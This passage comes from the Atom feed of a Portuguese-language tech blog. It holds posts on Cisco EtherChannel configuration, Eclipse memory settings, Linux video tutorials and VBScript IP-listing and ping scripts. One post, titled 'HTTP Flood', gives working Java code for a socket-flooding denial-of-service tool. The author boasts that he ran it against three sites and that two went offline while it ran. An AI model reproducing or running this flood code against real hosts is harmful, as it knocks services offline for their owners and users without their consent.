fique em loop dentro da rede causando aumento de tráfego e lentidão. Sendo assim, o protocolo bloqueia uma das portas que estão interligadas fazendo que exista apenas um caminho entre os switchs. Se o caminho que está em uso falhar ( se der problema em uma das interfaces ) o spanning-tree é executado novamente e encontra a outra porta que estava antes bloqueada, e a libera ( esse processo leva 50 segundos por padrão ) .&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;O Etherchannel é a solução que permiter que nós unamos dois ou mais links que estão ligados ao mesmo destino transformando esses links em apenas um. Ou seja, portas 1 e 2 do Switch 1 estão fisicamente ligadas às portas 1 e 2 do Switch 2. Com o etherchannel configurado, ambos os switchs verão da seguinte maneira: Porta port-channel 1 do Sw 1 está ligada à porta port-channel 2 do Sw 2. Traduzindo: É criado uma interface virtual e todas as interfaces reais que estão agrupadas nesse canal é usado para se comunicar com o próximo switch.&lt;br /&gt;&lt;br /&gt;Isso é usado para aumentar a largura de banda do tronco de comunicação entre os switchs e evitar que, quando uma interface ficar inoperante, o spanning-tree seja executado novamente ( uma demora de 50 segundos até tudo voltar ao normal ), isso acontece por que quando uma interface para de funcoionar, ainda existem outras no mesmo tronco, e apenas a largura de banda é afetada e não  o caminho para o outro switch.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;Muito bem, vamos ver agora como configurar um canal (channel) de interfaces Ethernet (ether):&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1&gt;enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1#configure terminal&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1(config)# interface range Giga 1/1 - 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1(config-if-range)#channel-group 1 mode on&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1(config-if-range)#end&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;switch1#wr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A configuração acima refere-se ao seguinte:&lt;br /&gt;1 - entramos em modo privilegiado;&lt;br /&gt;2 - entramos no modo de configuração global&lt;br /&gt;3 - acessamos simultâneamente as interfaces giga 1/1 e giga 1/2 ( por isso o uso do comando range)&lt;br /&gt;4 - habilitamos ambas as interfaces para participar no grupo do canal 1&lt;br /&gt;5 - voltamos ao modo privilegiado&lt;br /&gt;6 - salvamos a configuração&lt;br /&gt;&lt;br /&gt;Agora basta repetir a mesma configuração no próximo switch:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2&gt;enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2#configure terminal&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2(config)# interface range Giga 1/1 - 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2(config-if-range)#channel-group 1 mode on&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2(config-if-range)#end&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0); font-weight: bold;"&gt;switch2#wr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Então você vai perceber que o spanning-tree não vai mais bloquear uma de suas portas, isso se dá porque ambas as portas agora são uma porta só, a port-channel 1!&lt;br /&gt;&lt;br /&gt;Um forte abraço a todos,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-9142974013182204078?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/9142974013182204078/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/criando-canais-ethernet-em-switchs.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/9142974013182204078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/9142974013182204078'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/criando-canais-ethernet-em-switchs.html' title='Criando Canais Ethernet em Switchs CISCO'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kOIPiN3lLNM/S5WcnWwz8_I/AAAAAAAAADU/HMIX2OsvPK0/s72-c/2+switchs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7686292743734008378</id><published>2009-12-07T15:34:00.005-03:00</published><updated>2011-02-27T03:10:15.699-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><title type='text'>Eclipse - Falta de espaço em memória</title><content type='html'>Comecei a construir um projeto no eclipse usando o Java + Flex (a coisa mais linda - depois de mim :P), mas o projeto chegou em um tamanho que parecia impossível de ser executado. Quando eu pedia pra gerar uma tela o eclipse travava com o erro de falta de memória. Não era possível compilar o programa, iniciar o servidor tomcat, exportar o projeto... Em fim até pensar fazia o eclipse travar.&lt;br /&gt;&lt;br /&gt;O que me salvou foi adicionar a seguite linha ao destino do atalho do Eclipse:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-vmargs -Xmx1024m -XX:PermSize=128m -XX:MaxPermSize=256m&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Adicionei isso à chamada do executável do Eclipse e pronto, voltei a executar o meu projeto tranquilamente.&lt;br /&gt;&lt;br /&gt;Abraços&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7686292743734008378?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7686292743734008378/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/12/eclipse-falsta-de-espaco-em-memoria.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7686292743734008378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7686292743734008378'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/12/eclipse-falsta-de-espaco-em-memoria.html' title='Eclipse - Falta de espaço em memória'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-4015298803399711502</id><published>2009-11-24T16:47:00.004-03:00</published><updated>2011-02-27T03:09:41.592-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>HTTP Flood - Eu não imaginava que era tão simples</title><content type='html'>Ontem a noite estava tão produtiva que eu fiz isso e testei em 3 sites, dois deles ficaram indisponíveis enquanto o programa estava em execução:&lt;br /&gt;&lt;br /&gt;-------------- dos.java ---------------&lt;br /&gt;&lt;br /&gt;public class dos implements Runnable {&lt;br /&gt;&lt;br /&gt;// configuração do alvo do ataque!&lt;br /&gt;private String alvo = "192.168.0.11"; // coloque o host alvo aqui&lt;br /&gt;int porta = 80;&lt;br /&gt;&lt;br /&gt;public void run() {&lt;br /&gt; for (;;){&lt;br /&gt;  try {&lt;br /&gt;    Socket atacante1 = new Socket(alvo, porta);&lt;br /&gt;    Socket atacante2 = new Socket(alvo, porta);&lt;br /&gt;  } catch (Exception e){&lt;br /&gt;  &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;--------------------- fim dos.java ---------------------&lt;br /&gt;&lt;br /&gt;--------------------- main.java ---------------------&lt;br /&gt;&lt;br /&gt;public class main {&lt;br /&gt;public static void main(String args[]){&lt;br /&gt; dos atak = new dos();&lt;br /&gt; Thread t = new Thread(atak);&lt;br /&gt; t.start();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;--------------------- fim main.java ---------------------&lt;br /&gt;&lt;br /&gt;É simples, mas dá pra treinar um pouco de programação! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-4015298803399711502?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/4015298803399711502/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/http-flood-eu-nao-imaginava-que-era-tao.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/4015298803399711502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/4015298803399711502'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/http-flood-eu-nao-imaginava-que-era-tao.html' title='HTTP Flood - Eu não imaginava que era tão simples'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-8455989951811601693</id><published>2009-11-11T23:54:00.002-03:00</published><updated>2011-02-27T03:07:40.177-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='videos'/><title type='text'>Canal no youtube</title><content type='html'>Pessoal,&lt;br /&gt;&lt;br /&gt;Para melhor visualização dos vídeos eu criei um canal no YOUTUBE e coloqei os mesmo lá. Agora vou separar as coisas assim: vídeos -&gt; Youtube; Textos -&gt; Blog.&lt;br /&gt;&lt;br /&gt;O canal no youtube é: http://www.youtube.com/user/alanMcordeiro&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-8455989951811601693?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/8455989951811601693/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/canal-no-youtube.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8455989951811601693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8455989951811601693'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/canal-no-youtube.html' title='Canal no youtube'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7215536347648275571</id><published>2009-11-11T00:46:00.003-03:00</published><updated>2009-11-11T01:09:46.193-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>ALIAS</title><content type='html'>Espero que esse vídeo esteja melhor que os demais. Nele eu explico o comando alias do Linux.&lt;br /&gt;&lt;br /&gt;&lt;object width="475" height="394" class="BLOG_video_class" id="BLOG_video-b47bfc9662c5287d" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v1.nonxt5.googlevideo.com/videoplayback?id%3Db47bfc9662c5287d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D6642CD020D2483BBFCECBE4CD8CE3D8A8F165836.2FDE34923327F59743D6CF7F2CEBF09A742C86D5%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3Db47bfc9662c5287d%26offsetms%3D5000%26itag%3Dw160%26sigh%3D3pW4ZgvXpXGzRoiozqlj39WzhT0&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="475" height="394" bgcolor="#FFFFFF"flashvars="flvurl=http://v1.nonxt5.googlevideo.com/videoplayback?id%3Db47bfc9662c5287d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D6642CD020D2483BBFCECBE4CD8CE3D8A8F165836.2FDE34923327F59743D6CF7F2CEBF09A742C86D5%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3Db47bfc9662c5287d%26offsetms%3D5000%26itag%3Dw160%26sigh%3D3pW4ZgvXpXGzRoiozqlj39WzhT0&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7215536347648275571?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7215536347648275571/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/alias.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7215536347648275571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7215536347648275571'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/alias.html' title='ALIAS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-1659259045433680487</id><published>2009-11-10T23:46:00.003-03:00</published><updated>2011-03-03T02:06:22.528-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='videos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Editor de texto vi</title><content type='html'>O editor de texto VI é o mais importante editor de texto de linha de comando para o Linux. Por que??? Simples: Por que é o que vem em todos os sistemas por padrão e é o que é cobrado na prova de certificação. :)&lt;br /&gt;&lt;br /&gt;Estou iniciando uma pequena série de vídeos e vamos começar com o pé direito vendo como usar o VI.&lt;br /&gt;&lt;br /&gt;&lt;object width="515" height="398" class="BLOG_video_class" id="BLOG_video-21f477f15b474e8d" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v6.nonxt5.googlevideo.com/videoplayback?id%3D21f477f15b474e8d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D3FC5253D6C58CFBF48F62C8DB02D50B4F98C608.3C93737F071545D2E1A4B5FB522422CA4C8F8F9F%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D21f477f15b474e8d%26offsetms%3D5000%26itag%3Dw160%26sigh%3DsMdkKuzXFvXdCbCs1l8SBN5fE7I&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="515" height="398" bgcolor="#FFFFFF"flashvars="flvurl=http://v6.nonxt5.googlevideo.com/videoplayback?id%3D21f477f15b474e8d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330249896%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D3FC5253D6C58CFBF48F62C8DB02D50B4F98C608.3C93737F071545D2E1A4B5FB522422CA4C8F8F9F%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D21f477f15b474e8d%26offsetms%3D5000%26itag%3Dw160%26sigh%3DsMdkKuzXFvXdCbCs1l8SBN5fE7I&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-1659259045433680487?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/1659259045433680487/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/editor-de-texto-vi.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1659259045433680487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1659259045433680487'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/editor-de-texto-vi.html' title='Editor de texto vi'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6914634886050881287</id><published>2009-11-10T23:13:00.002-03:00</published><updated>2011-03-03T02:05:43.390-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>VBScript - Lista de IPs ATIVOS</title><content type='html'>Esse script é uma sequência para o script anterior. Ele usa o arquivo criado pelo script 1 com a lista de IPs de uma determinada rede, e testa cada um para saber se ele está ativo na rede ou não.&lt;br /&gt;&lt;br /&gt;Então ele cria um arquivo dentro da unodade c:\ chamado IpsAtivos.txt contendo APENAS os IPs que estão ativos na rede.&lt;br /&gt;&lt;br /&gt;SCRIPT:&lt;br /&gt;&lt;br /&gt;dim IP     'recebe o IP&lt;br /&gt;dim Resultado    'Recebe o resultado do ping&lt;br /&gt;dim i    'usado nos contadores&lt;br /&gt;dim arquivo1     'Lista de IPs a verificar&lt;br /&gt;dim arquivo2    'Lista de IPs Ativos&lt;br /&gt;&lt;br /&gt;arquivo1 = "C:\ListaIp.txt"&lt;br /&gt;arquivo2 = "C:\IpsAtivos.txt"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Abrindo o arquivo que tem a lista de IPs&lt;br /&gt;Set objArq1 = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set EArq1 = objArq1.OpenTextFile(arquivo1, 1, True)&lt;br /&gt;&lt;br /&gt;' Criando arquivo que receberá a lista de IPs ativos&lt;br /&gt;Set objArq2 = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set EArq2 = objArq2.OpenTextFile(arquivo2, 8, True)&lt;br /&gt;&lt;br /&gt;Do Until EArq1.AtEndOfStream&lt;br /&gt;    IP = Earq1.ReadLine&lt;br /&gt;&lt;br /&gt;    Set winShell = WScript.CreateObject("WScript.Shell")&lt;br /&gt;    Set WshExec = winShell.Exec("ping -n 3 -w 2000 " &amp;amp; IP)&lt;br /&gt;    Resultado = LCase(WshExec.StdOut.ReadAll)&lt;br /&gt;    If InStr(Resultado, "reply from") Then&lt;br /&gt;        Earq2.WriteLine(IP)&lt;br /&gt;    Elseif InStr(Resultado, "resposta de") Then&lt;br /&gt;        Earq2.WriteLine(IP)&lt;br /&gt;    End if&lt;br /&gt;   &lt;br /&gt;Loop&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6914634886050881287?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6914634886050881287/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/vbscript-lista-de-ips-ativos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6914634886050881287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6914634886050881287'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/vbscript-lista-de-ips-ativos.html' title='VBScript - Lista de IPs ATIVOS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6314783453945018599</id><published>2009-11-10T23:09:00.004-03:00</published><updated>2011-03-03T02:05:58.032-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>VBScript - Lista de IPs</title><content type='html'>Esse é um dos scripts que fiz para ajudar uma colega num exercício da faculdade. Ele lista dodos os IPs de uma determinada rede. O script lhe pede o IP (ex.: 192.168.0.0) e a máscara (ex.: 24) é ele usa essa notação para máscara - preste atenção nisso!&lt;br /&gt;&lt;br /&gt;Logo após ele cria dentro da unidade c:\ um arquivo chamado ListaIp.txt, e dentro dele a lista de IPs que estão dentro dessa rede.&lt;br /&gt;&lt;br /&gt;PS.: Esse programa ainda não faz VLSM.&lt;br /&gt;&lt;br /&gt;SCRIPT:&lt;br /&gt;&lt;br /&gt;dim IP     'recebe o IP&lt;br /&gt;dim i    'usado nos contadores&lt;br /&gt;dim j    'usado nos contadores&lt;br /&gt;dim l    'usado nos contadores&lt;br /&gt;dim tam    'tamanho da string do IP&lt;br /&gt;dim OC1    'primeiro octeto&lt;br /&gt;dim OC2    'Segundo octeto&lt;br /&gt;dim OC3    'terceiro octeto&lt;br /&gt;dim OC4    'quarto octeto&lt;br /&gt;dim MASK    'máscara&lt;br /&gt;dim arquivo     'caminho para o arquivo final&lt;br /&gt;&lt;br /&gt;arquivo = "C:\ListaIp.txt"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' Criando o arquivo a receber a lista de IPs&lt;br /&gt;Set objArq = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set EArq = objArq.OpenTextFile(arquivo, 8, True)&lt;br /&gt;&lt;br /&gt;' Recebendo o endereço IP do usuário&lt;br /&gt;IP = inputbox("Digite o endereço IP a scannear: ")&lt;br /&gt;&lt;br /&gt;' Pegando o numero de caracteres do IP (vai ser usado&lt;br /&gt;' para separar os octetos)&lt;br /&gt;tam = Len(IP)&lt;br /&gt;&lt;br /&gt;' Separando os octetos&lt;br /&gt;num = InStr(IP, ".")&lt;br /&gt;OC1 = Left(IP, num-1)&lt;br /&gt;IP = Right(IP, tam-num)&lt;br /&gt;&lt;br /&gt;tam = Len(IP)&lt;br /&gt;&lt;br /&gt;num = InStr(IP, ".")&lt;br /&gt;OC2 = Left(IP, num-1)&lt;br /&gt;IP = Right(IP, tam-num)&lt;br /&gt;&lt;br /&gt;tam = Len(IP)&lt;br /&gt;&lt;br /&gt;num = InStr(IP, ".")&lt;br /&gt;OC3 = Left(IP, num-1)&lt;br /&gt;OC4 = Right(IP, tam-num)&lt;br /&gt;' Octetos separados com sucesso&lt;br /&gt;&lt;br /&gt;' Recebendo a máscara de rede do usuário&lt;br /&gt;MASK = inputbox("Digite a máscara do endereço IP: ")&lt;br /&gt;&lt;br /&gt;' Testando a máscara, gerando os IPs e Escrevendo-os em arquivo&lt;br /&gt;If MASK = 24 then&lt;br /&gt;    for i=0 to 255&lt;br /&gt;        IP = OC1 &amp;amp; "." &amp;amp; OC2 &amp;amp; "." &amp;amp; OC3 &amp;amp; "."&lt;br /&gt;        OC4 = i&lt;br /&gt;        IP = IP &amp;amp; OC4&lt;br /&gt;        EArq.WriteLine(IP)&lt;br /&gt;    Next&lt;br /&gt;Earq.Close&lt;br /&gt;Elseif MASK =  16 then&lt;br /&gt;    for j=0 to 255&lt;br /&gt;    IP = OC1 &amp;amp; "." &amp;amp; OC2 &amp;amp; "."&lt;br /&gt;    OC3 = j&lt;br /&gt;        for i=0 to 255&lt;br /&gt;            IP = OC1 &amp;amp; "." &amp;amp; OC2 &amp;amp; "." &amp;amp; OC3 &amp;amp; "."&lt;br /&gt;            OC4 = i&lt;br /&gt;            IP = IP &amp;amp; OC4&lt;br /&gt;            EArq.WriteLine(IP)&lt;br /&gt;        Next&lt;br /&gt;    Next&lt;br /&gt;Elseif MASK = 8 then&lt;br /&gt;    for l=0 to 255&lt;br /&gt;    IP = OC1 &amp;amp; "."&lt;br /&gt;    OC2 = l&lt;br /&gt;        for j=0 to 255&lt;br /&gt;        IP = OC1 &amp;amp; "." &amp;amp; OC2 &amp;amp; "."&lt;br /&gt;        OC3 = j&lt;br /&gt;            for i=0 to 255&lt;br /&gt;                IP = OC1 &amp;amp; "." &amp;amp; OC2 &amp;amp; "." &amp;amp; OC3 &amp;amp; "."&lt;br /&gt;                OC4 = i&lt;br /&gt;                IP = IP &amp;amp; OC4&lt;br /&gt;                EArq.WriteLine(IP)&lt;br /&gt;            Next&lt;br /&gt;        Next&lt;br /&gt;    Next&lt;br /&gt;Else&lt;br /&gt;    msgbox("Máscara não suportada")&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6314783453945018599?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6314783453945018599/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/vbscript-lista-de-ips.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6314783453945018599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6314783453945018599'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/11/vbscript-lista-de-ips.html' title='VBScript - Lista de IPs'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 